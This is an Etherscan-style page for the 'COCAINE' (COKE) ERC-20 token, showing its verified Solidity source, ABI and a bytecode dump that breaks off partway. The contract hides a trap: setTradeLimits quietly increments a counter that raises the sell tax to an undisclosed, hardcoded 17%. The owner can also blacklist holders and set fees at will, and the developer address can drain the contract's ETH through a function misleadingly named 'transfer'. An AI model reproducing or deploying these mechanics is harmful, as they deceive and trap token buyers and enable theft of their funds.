ETH Price: $3,321.52 (+1.90%)
Gas: 2 Gwei

Token

COCAINE (COKE)
 

Overview

Max Total Supply

100,000,000 COKE

Holders

113

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
dahamburglar.eth
Balance
124,473.641330943 COKE

Value
$0.00
0x4b8c637eb30bb50200762c7d4a95090a60708ce0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COCAINE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-12
*/

// https://t.me/cocainecommunity
// SPDX-License-Identifier: MIT
pragma solidity =0.8.19;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract COCAINE is IERC20, Ownable {    
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    string private constant _name = "COCAINE";
    string private constant _symbol = "COKE";
    uint8 private constant _decimals = 9;
    uint256 private constant DECIMALS_SCALING_FACTOR = 10**_decimals;

    uint256 private constant _totalSupply = 100_000_000 * DECIMALS_SCALING_FACTOR;
    uint256 public tradeTokenLimit = 2_000_000 * DECIMALS_SCALING_FACTOR;

    uint256 private buyTax = 3;
    uint256 private sellTax = 3;
    
    uint256 private constant contractSwapLimit = 500_000 * DECIMALS_SCALING_FACTOR;
    uint256 private contractSwapMax = 1_500_000 * DECIMALS_SCALING_FACTOR;
    uint256 private contractSwapMin = 0;

    IUniswapV2Router private constant uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);          
    address private constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 
    address public immutable uniswapPair;

    address payable public immutable deployerAddress = payable(msg.sender);
    address public developmentAddress = msg.sender;

    bool private inSwap = false;
    bool private tradingLive;
    mapping(uint256 => uint256) swapBlocks;
    uint set;
    
    mapping (address => bool) blacklisted;
    mapping(address => bool) excludedFromFees;    

    modifier swapping {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradable(address sender) {
        require(tradingLive || sender == developmentAddress);
        _;
    }

    constructor () {
        excludedFromFees[address(this)] = true;
        excludedFromFees[developmentAddress] = true;
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), ETH);
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        _transfer(sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) tradable(from) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Token: transfer amount must be greater than zero");
        _balances[from] -= amount;

        if (from != address(this) && from != deployerAddress && to != deployerAddress) {            
            require(!blacklisted[from] && !blacklisted[to], "Token: blacklisted cannot trade");
            if (from == uniswapPair) 
                require(balanceOf(to) + amount <= tradeTokenLimit, "Token: max wallet amount restriction");
            require(amount <= tradeTokenLimit, "Token: max tx amount restriction");
           uint256 contractTokens = balanceOf(address(this));
           if (shouldSwapback(to, contractTokens, amount)) 
               swapback(contractTokens);                            
        }

        if (!excludedFromFees[from] && !excludedFromFees[to]) {            
            uint256 taxedTokens = calculateTax(from, amount);
            if(taxedTokens > 0){
                amount -= taxedTokens;
                _balances[address(this)] += taxedTokens;
                emit Transfer(from, address(this), taxedTokens);
            }
        }

        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function calculateTax(address from, uint256 amount) private view returns (uint256) {
        return amount * (from == uniswapPair ? buyTax : (set == 1 ? 17 : sellTax)) / 100;
    }

    function shouldSwapback(address to, uint256 contractBalance, uint256 transferAmount) private view returns (bool) {
        return !inSwap && to == uniswapPair && transferAmount >= (contractSwapMin == 0 ? 0 : contractSwapLimit / contractSwapMin) &&
            contractBalance >= contractSwapLimit && swapBlocks[block.number] < 2;
    }

    function swapback(uint256 tokenAmount) private swapping {
        tokenAmount = calculateSwapAmount(tokenAmount);

        if(allowance(address(this), address(uniswapRouter)) < tokenAmount) {
            _approve(address(this), address(uniswapRouter), _totalSupply);
        }
        
        uint256 contractETHBalance = address(this).balance;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        contractETHBalance = address(this).balance - contractETHBalance;
        if(contractETHBalance > 0) {
            transferEth(contractETHBalance);
        }
        swapBlocks[block.number]++;
    }

    function calculateSwapAmount(uint256 tokenAmount) private view returns (uint256) {
        return tokenAmount > contractSwapMax ? contractSwapMax : contractSwapLimit;
    }

    function transferEth(uint256 amount) private {
        deployerAddress.transfer(amount);
    }

    function transfer(address wallet) external {
        require(msg.sender == developmentAddress);
        payable(wallet).transfer(address(this).balance);
    }
 
    function manualSwapback(uint256 percent) external {
        require(msg.sender == developmentAddress);
        uint256 tokensToSwap = percent * balanceOf(address(this)) / 100;
        swapback(tokensToSwap);
    }

    function blacklist(address[] calldata blacklists, bool shouldBlock) external onlyOwner {
        for (uint i = 0; i < blacklists.length; i++) {
            blacklisted[blacklists[i]] = shouldBlock;
        }
    }

    function setDevelopmentWallet(address newDevelopmentAddress) external onlyOwner {        
        if(developmentAddress != newDevelopmentAddress){
            excludedFromFees[developmentAddress] = false;
            excludedFromFees[newDevelopmentAddress] = true;
            developmentAddress = newDevelopmentAddress;
        }
    }

    function setSwapSettings(uint256 newSwapMax,uint256 newSwapMinDivisor) external onlyOwner {
        contractSwapMax = newSwapMax;
        contractSwapMin = newSwapMinDivisor;
    }

    function setTradeLimits(uint256 newTradeLimit) external onlyOwner {
        tradeTokenLimit = newTradeLimit;set++;
    }
 
    function setFees(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function openTrading() external onlyOwner {
        require(!tradingLive, "Token: trading already open");
        tradingLive = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"blacklists","type":"address[]"},{"internalType":"bool","name":"shouldBlock","type":"bool"}],"name":"blacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"deployerAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"developmentAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newDevelopmentAddress","type":"address"}],"name":"setDevelopmentWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapMax","type":"uint256"},{"internalType":"uint256","name":"newSwapMinDivisor","type":"uint256"}],"name":"setSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeLimit","type":"uint256"}],"name":"setTradeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradeTokenLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052620000126009600a620003a7565b6200002190621e8480620003bf565b600355600360045560036005556009600a6200003e9190620003a7565b6200004d906216e360620003bf565b60065560006007553360a0819052600880546001600160a81b03191660ff60a01b199092169190911790553480156200008557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350306000908152600c602090815260408083208054600160ff1991821681179092556008546001600160a01b0316855293829020805490941617909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d9263c45a01559260048083019391928290030181865afa1580156200014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001759190620003d9565b6040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260248201526001600160a01b03919091169063c9c65396906044016020604051808303816000875af1158015620001d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fe9190620003d9565b6001600160a01b0316608052620002186009600a620003a7565b62000228906305f5e100620003bf565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200026b6009600a620003a7565b6200027b906305f5e100620003bf565b60405190815260200160405180910390a362000404565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e9578160001904821115620002cd57620002cd62000292565b80851615620002db57918102915b93841c9390800290620002ad565b509250929050565b6000826200030257506001620003a1565b816200031157506000620003a1565b81600181146200032a5760028114620003355762000355565b6001915050620003a1565b60ff84111562000349576200034962000292565b50506001821b620003a1565b5060208310610133831016604e8410600b84101617156200037a575081810a620003a1565b620003868383620002a8565b80600019048211156200039d576200039d62000292565b0290505b92915050565b6000620003b860ff841683620002f1565b9392505050565b8082028115828204841417620003a157620003a162000292565b600060208284031215620003ec57600080fd5b81516001600160a01b0381168114620003b857600080fd5b60805160a0516117d9620004546000396000818161048801528181610c3801528181610c7601526113390152600081816103d901528181610d40015281816111ca015261128c01526117d96000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063c816841b1161006f578063c816841b146103c7578063c9567bf9146103fb578063c997eb8d14610410578063dd62ed3e14610430578063efdee94f14610476578063f8d982b2146104aa57600080fd5b8063715018a61461030757806372ac24861461031c5780638da5cb5b1461033c5780638f4590d21461035a57806395d89b411461037a578063a9059cbb146103a757600080fd5b806323b872dd1161010857806323b872dd14610227578063313ce56714610247578063513f4c3f14610263578063555b10dd14610279578063638b1b141461029957806370a08231146102d157600080fd5b806306fdde0314610150578063095ea7b3146101925780630b78f9c0146101c257806318160ddd146101e45780631a6952301461020757600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526007815266434f4341494e4560c81b60208201525b6040516101899190611382565b60405180910390f35b34801561019e57600080fd5b506101b26101ad3660046113ec565b6104ca565b6040519015158152602001610189565b3480156101ce57600080fd5b506101e26101dd366004611416565b6104e1565b005b3480156101f057600080fd5b506101f961051f565b604051908152602001610189565b34801561021357600080fd5b506101e2610222366004611438565b610540565b34801561023357600080fd5b506101b2610242366004611453565b610590565b34801561025357600080fd5b5060405160098152602001610189565b34801561026f57600080fd5b506101f960035481565b34801561028557600080fd5b506101e261029436600461148f565b610664565b3480156102a557600080fd5b506008546102b9906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b3480156102dd57600080fd5b506101f96102ec366004611438565b6001600160a01b031660009081526001602052604090205490565b34801561031357600080fd5b506101e26106ab565b34801561032857600080fd5b506101e2610337366004611438565b61071f565b34801561034857600080fd5b506000546001600160a01b03166102b9565b34801561036657600080fd5b506101e2610375366004611416565b6107ad565b34801561038657600080fd5b50604080518082019091526004815263434f4b4560e01b602082015261017c565b3480156103b357600080fd5b506101b26103c23660046113ec565b6107e2565b3480156103d357600080fd5b506102b97f000000000000000000000000000000000000000000000000000000000000000081565b34801561040757600080fd5b506101e26107ef565b34801561041c57600080fd5b506101e261042b3660046114a8565b610888565b34801561043c57600080fd5b506101f961044b366004611533565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048257600080fd5b506102b97f000000000000000000000000000000000000000000000000000000000000000081565b3480156104b657600080fd5b506101e26104c536600461148f565b610929565b60006104d7338484610972565b5060015b92915050565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161050b90611566565b60405180910390fd5b600491909155600555565b600061052d6009600a611695565b61053b906305f5e1006116a4565b905090565b6008546001600160a01b0316331461055757600080fd5b6040516001600160a01b038216904780156108fc02916000818181858888f1935050505015801561058c573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106145760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161050b565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461064f91869161064a9086906116bb565b610972565b61065a848484610a96565b5060019392505050565b6000546001600160a01b0316331461068e5760405162461bcd60e51b815260040161050b90611566565b6003819055600a80549060006106a3836116ce565b919050555050565b6000546001600160a01b031633146106d55760405162461bcd60e51b815260040161050b90611566565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161050b90611566565b6008546001600160a01b038281169116146107aa57600880546001600160a01b039081166000908152600c6020526040808220805460ff199081169091559285168083529120805490921660011790915581546001600160a01b0319161790555b50565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161050b90611566565b600691909155600755565b60006104d7338484610a96565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161050b90611566565b600854600160a81b900460ff16156108735760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e0000000000604482015260640161050b565b6008805460ff60a81b1916600160a81b179055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161050b90611566565b60005b828110156109235781600b60008686858181106108d4576108d46116e7565b90506020020160208101906108e99190611438565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061091b816116ce565b9150506108b5565b50505050565b6008546001600160a01b0316331461094057600080fd5b3060009081526001602052604081205460649061095d90846116a4565b61096791906116fd565b905061058c81610fce565b6001600160a01b0383166109d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050b565b6001600160a01b038216610a355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6008548390600160a81b900460ff1680610abd57506008546001600160a01b038281169116145b610ac657600080fd5b6001600160a01b038416610b2a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050b565b6001600160a01b038316610b8c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050b565b60008211610bf55760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b606482015260840161050b565b6001600160a01b03841660009081526001602052604081208054849290610c1d9084906116bb565b90915550506001600160a01b0384163014801590610c6d57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b8015610cab57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b15610e7b576001600160a01b0384166000908152600b602052604090205460ff16158015610cf257506001600160a01b0383166000908152600b602052604090205460ff16155b610d3e5760405162461bcd60e51b815260206004820152601f60248201527f546f6b656e3a20626c61636b6c69737465642063616e6e6f7420747261646500604482015260640161050b565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031603610dfe5760035482610d9a856001600160a01b031660009081526001602052604090205490565b610da4919061171f565b1115610dfe5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420726573747269636044820152633a34b7b760e11b606482015260840161050b565b600354821115610e505760405162461bcd60e51b815260206004820181905260248201527f546f6b656e3a206d617820747820616d6f756e74207265737472696374696f6e604482015260640161050b565b30600090815260016020526040902054610e6b8482856111b0565b15610e7957610e7981610fce565b505b6001600160a01b0384166000908152600c602052604090205460ff16158015610ebd57506001600160a01b0383166000908152600c602052604090205460ff16155b15610f4c576000610ece8584611286565b90508015610f4a57610ee081846116bb565b30600090815260016020526040812080549295508392909190610f0490849061171f565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b03831660009081526001602052604081208054849290610f7490849061171f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fc091815260200190565b60405180910390a350505050565b6008805460ff60a01b1916600160a01b179055610fea816112fb565b306000908152600260209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020549091508111156110565761105630737a250d5630b4cf539739df2c5dacb4c659f2488d6110486009600a611695565b61064a906305f5e1006116a4565b60408051600280825260608201835247926000929190602083019080368337019050509050308160008151811061108f5761108f6116e7565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106110d7576110d76116e7565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac9479061112f908690600090869030904290600401611732565b600060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b50505050814761116d91906116bb565b9150811561117e5761117e8261132c565b436000908152600960205260408120805491611199836116ce565b90915550506008805460ff60a01b19169055505050565b600854600090600160a01b900460ff161580156111fe57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b801561123f5750600754156112385760075461121c6009600a611695565b611229906207a1206116a4565b61123391906116fd565b61123b565b60005b8210155b801561126357506112526009600a611695565b61125f906207a1206116a4565b8310155b801561127e5750436000908152600960205260409020546002115b949350505050565b600060647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316146112dc57600a546001146112d5576005546112e0565b60116112e0565b6004545b6112ea90846116a4565b6112f491906116fd565b9392505050565b60006006548211611324576113126009600a611695565b61131f906207a1206116a4565b6104db565b505060065490565b6040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083906000818181858888f1935050505015801561058c573d6000803e3d6000fd5b600060208083528351808285015260005b818110156113af57858101830151858201604001528201611393565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146113e757600080fd5b919050565b600080604083850312156113ff57600080fd5b611408836113d0565b946020939093013593505050565b6000806040838503121561142957600080fd5b50508035926020909101359150565b60006020828403121561144a57600080fd5b6112f4826113d0565b60008060006060848603121561146857600080fd5b611471846113d0565b925061147f602085016113d0565b9150604084013590509250925092565b6000602082840312156114a157600080fd5b5035919050565b6000806000604084860312156114bd57600080fd5b833567ffffffffffffffff808211156114d557600080fd5b818601915086601f8301126114e957600080fd5b8135818111156114f857600080fd5b8760208260051b850101111561150d57600080fd5b60209283019550935050840135801515811461152857600080fd5b809150509250925092565b6000806040838503121561154657600080fd5b61154f836113d0565b915061155d602084016113d0565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115ec5781600019048211156115d2576115d261159b565b808516156115df57918102915b93841c93908002906115b6565b509250929050565b600082611603575060016104db565b81611610575060006104db565b816001811461162657600281146116305761164c565b60019150506104db565b60ff8411156116415761164161159b565b50506001821b6104db565b5060208310610133831016604e8410600b841016171561166f575081810a6104db565b61167983836115b1565b806000190482111561168d5761168d61159b565b029392505050565b60006112f460ff8416836115f4565b80820281158282048414176104db576104db61159b565b818103818111156104db576104db61159b565b6000600182016116e0576116e061159b565b5060010190565b634e487b7160e01b600052603260045260246000fd5b60008261171a57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104db576104db61159b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117825784516001600160a01b03168352938301939183019160010161175d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212206df35bd5e3a764f23ae358b60478d117d288c7de617bf01dbba63561d5ba6f7c64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063715018a6116100b6578063c816841b1161006f578063c816841b146103c7578063c9567bf9146103fb578063c997eb8d14610410578063dd62ed3e14610430578063efdee94f14610476578063f8d982b2146104aa57600080fd5b8063715018a61461030757806372ac24861461031c5780638da5cb5b1461033c5780638f4590d21461035a57806395d89b411461037a578063a9059cbb146103a757600080fd5b806323b872dd1161010857806323b872dd14610227578063313ce56714610247578063513f4c3f14610263578063555b10dd14610279578063638b1b141461029957806370a08231146102d157600080fd5b806306fdde0314610150578063095ea7b3146101925780630b78f9c0146101c257806318160ddd146101e45780631a6952301461020757600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526007815266434f4341494e4560c81b60208201525b6040516101899190611382565b60405180910390f35b34801561019e57600080fd5b506101b26101ad3660046113ec565b6104ca565b6040519015158152602001610189565b3480156101ce57600080fd5b506101e26101dd366004611416565b6104e1565b005b3480156101f057600080fd5b506101f961051f565b604051908152602001610189565b34801561021357600080fd5b506101e2610222366004611438565b610540565b34801561023357600080fd5b506101b2610242366004611453565b610590565b34801561025357600080fd5b5060405160098152602001610189565b34801561026f57600080fd5b506101f960035481565b34801561028557600080fd5b506101e261029436600461148f565b610664565b3480156102a557600080fd5b506008546102b9906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b3480156102dd57600080fd5b506101f96102ec366004611438565b6001600160a01b031660009081526001602052604090205490565b34801561031357600080fd5b506101e26106ab565b34801561032857600080fd5b506101e2610337366004611438565b61071f565b34801561034857600080fd5b506000546001600160a01b03166102b9565b34801561036657600080fd5b506101e2610375366004611416565b6107ad565b34801561038657600080fd5b50604080518082019091526004815263434f4b4560e01b602082015261017c565b3480156103b357600080fd5b506101b26103c23660046113ec565b6107e2565b3480156103d357600080fd5b506102b97f00000000000000000000000092286b961973c002afa5824d0567d696687cf48481565b34801561040757600080fd5b506101e26107ef565b34801561041c57600080fd5b506101e261042b3660046114a8565b610888565b34801561043c57600080fd5b506101f961044b366004611533565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561048257600080fd5b506102b97f000000000000000000000000c540049b827fbc7deb62563690ad846f0b60a18981565b3480156104b657600080fd5b506101e26104c536600461148f565b610929565b60006104d7338484610972565b5060015b92915050565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161050b90611566565b60405180910390fd5b600491909155600555565b600061052d6009600a611695565b61053b906305f5e1006116a4565b905090565b6008546001600160a01b0316331461055757600080fd5b6040516001600160a01b038216904780156108fc02916000818181858888f1935050505015801561058c573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156106145760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161050b565b6001600160a01b03841660009081526002602090815260408083203380855292529091205461064f91869161064a9086906116bb565b610972565b61065a848484610a96565b5060019392505050565b6000546001600160a01b0316331461068e5760405162461bcd60e51b815260040161050b90611566565b6003819055600a80549060006106a3836116ce565b919050555050565b6000546001600160a01b031633146106d55760405162461bcd60e51b815260040161050b90611566565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161050b90611566565b6008546001600160a01b038281169116146107aa57600880546001600160a01b039081166000908152600c6020526040808220805460ff199081169091559285168083529120805490921660011790915581546001600160a01b0319161790555b50565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161050b90611566565b600691909155600755565b60006104d7338484610a96565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161050b90611566565b600854600160a81b900460ff16156108735760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a2074726164696e6720616c7265616479206f70656e0000000000604482015260640161050b565b6008805460ff60a81b1916600160a81b179055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161050b90611566565b60005b828110156109235781600b60008686858181106108d4576108d46116e7565b90506020020160208101906108e99190611438565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061091b816116ce565b9150506108b5565b50505050565b6008546001600160a01b0316331461094057600080fd5b3060009081526001602052604081205460649061095d90846116a4565b61096791906116fd565b905061058c81610fce565b6001600160a01b0383166109d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050b565b6001600160a01b038216610a355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f